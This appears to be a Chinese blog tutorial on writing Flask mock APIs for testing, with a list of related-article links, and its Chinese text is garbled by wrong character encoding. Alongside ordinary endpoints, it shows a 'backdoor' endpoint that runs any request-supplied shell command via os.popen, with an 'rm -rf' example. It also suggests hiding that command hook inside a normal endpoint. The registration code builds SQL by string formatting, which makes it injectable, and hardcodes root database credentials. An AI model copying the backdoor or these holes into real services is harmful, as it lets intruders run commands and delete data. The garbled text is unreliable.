python學(xué)習(xí)開發(fā)mock接口
本文實(shí)例為大家分享了python學(xué)習(xí)開發(fā)mock接口的具體步驟,供大家參考,具體內(nèi)容如下
#1.測(cè)試為什么要開發(fā)接口?
1)在別的接口沒有開發(fā)好的時(shí)候, mock接口(模擬接口)
2)查看數(shù)據(jù), 避免直接操作數(shù)據(jù)庫
#2.開發(fā)接口的順序
1)安裝flask
flask是一個(gè)輕量級(jí)開發(fā)框架
pip install flask
2)開發(fā)一個(gè)接口
開發(fā)步驟:
1.實(shí)例化一個(gè)服務(wù)server:flask.Flask(__name__)
2.函數(shù)前加裝飾器@server.route(), 將函數(shù)變?yōu)橐粋€(gè)接口
3.啟動(dòng)服務(wù)server:server.run()
import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表當(dāng)前python文件, 把當(dāng)前python文件當(dāng)成一個(gè)服務(wù)
def opt_db(sql):
coon=pymysql.connect(
host='192.168.109.132',
user='root',
passwd='123456',
db='besttest',
port=3306,
charset='utf8'
)#建立db鏈接
cur=coon.cursor()#建立游標(biāo)
cur.execute(sql);#執(zhí)行sql
if sql.strip()[:6].upper()=='SELECT':
res=cur.fetchall()#獲取sql返回
else:
coon.commit()
res='ok'
cur.close()#關(guān)閉游標(biāo)
coon.close()#關(guān)閉db鏈接
return res
#get請(qǐng)求, 請(qǐng)求路徑ip:port/index
@server.route('/index',methods=['get'])#裝飾器,代表index函數(shù)是一個(gè)接口,支持get請(qǐng)求(默認(rèn)get請(qǐng)求)
def index():
res={'msg':'這是我開發(fā)的第一個(gè)接口','msg_code':'0'}
return json.dumps(res,ensure_ascii=False,indent=4)
#post請(qǐng)求, 請(qǐng)求路徑ip:port/reg
@server.route('/reg',methods=['post'])#裝飾器,代表reg函數(shù)是一個(gè)接口,支持post請(qǐng)求(可以同時(shí)支持get、post請(qǐng)求)
def reg():
username=flask.request.values.get('username')#獲取接口入?yún)?
pwd=flask.request.values.get('passwd')
if username and pwd:
sql='select * from syz_stu where username="%s";'%username
if opt_db(sql):
res={'msg':'用戶已存在','msg_code':2001}#2001用戶已存在
else:
insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
opt_db(insert_sql)
res={'msg':'注冊(cè)成功','msg_code':'0'}
else:
res={'msg':'必填字段未填, 請(qǐng)查看接口文檔','msg_code':1001}#1001必填字段未填
return json.dumps(res,ensure_ascii=False,indent=4)
#后門接口
@server.route('/error',methods=['post'])#路由,訪問地址為----IP:端口/error
def cmd():
cmd = flask.request.values.get('cmd')#接口的入?yún)?
res = os.popen(cmd)#執(zhí)行用戶命令
return res.read()#返回執(zhí)行結(jié)果
#http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后門接口可以直接通過瀏覽器刪除系統(tǒng)文件
#隱蔽一點(diǎn)的方法,把cmd = flask.request.values('cmd',None)寫入正常接口
# 默認(rèn)可以不傳,一但傳了再res = os.popen(cmd)
server.run(port=6688,debug=True,host='0.0.0.0')#啟動(dòng)服務(wù),接口才能訪問
# port=6688指定端口為6688
# debug=True設(shè)置代碼修改后服務(wù)自動(dòng)重啟
# host='0.0.0.0'設(shè)置同一局域網(wǎng)的可以訪問
# server.run() 必須在所有接口定義完后再定義, 否則, server.run()檢測(cè)不到之后定義的接口, 接口是無法被運(yùn)行的
運(yùn)行以上代碼,打開瀏覽器,請(qǐng)求http://localhost:6688/index,將看到返回{'msg': '這是我開發(fā)的第一個(gè)接口', 'msg_code': 0}
以上就是本文的全部內(nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
詳解python中init方法和隨機(jī)數(shù)方法
這篇文章主要介紹了python中init方法和隨機(jī)數(shù)方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-03-03
windows下 兼容Python2和Python3的解決方法
這篇文章主要介紹了windows下 兼容Python2和Python3的解決方法,需要的朋友可以參考下2018-12-12
Python基于opencv的圖像壓縮算法實(shí)例分析
這篇文章主要介紹了Python基于opencv的圖像壓縮算法,結(jié)合實(shí)例形式分析了使用opencv進(jìn)行圖像壓縮的常用操作技巧與注意事項(xiàng),需要的朋友可以參考下2018-05-05
python實(shí)現(xiàn)2014火車票查詢代碼分享
學(xué)習(xí)習(xí)PYTHON開始,實(shí)現(xiàn)了一個(gè)火車票查詢的小功能,希望能幫大家買到回家的票2014-01-01
python GUI庫圖形界面開發(fā)之PyQt5美化窗體與控件(異形窗體)實(shí)例
這篇文章主要介紹了python GUI庫圖形界面開發(fā)之PyQt5美化窗體與控件(異形窗體)實(shí)例,需要的朋友可以參考下2020-02-02
使用Python手工計(jì)算x的算數(shù)平方根,來自中國古人的數(shù)學(xué)智慧
本篇采用的計(jì)算方法既非二分法也非牛頓迭代法,而是把中國古代的手工計(jì)算平方根的方法轉(zhuǎn)成代碼來完成。代碼有點(diǎn)煩雜,算是拋磚引玉吧,期待高手們寫出更好的代碼來2021-09-09
Python解析網(wǎng)頁源代碼中的115網(wǎng)盤鏈接實(shí)例
這篇文章主要介紹了Python解析網(wǎng)頁源代碼中的115網(wǎng)盤鏈接實(shí)例,主要采用了正則表達(dá)式re模塊來實(shí)現(xiàn)該功能,需要的朋友可以參考下2014-09-09

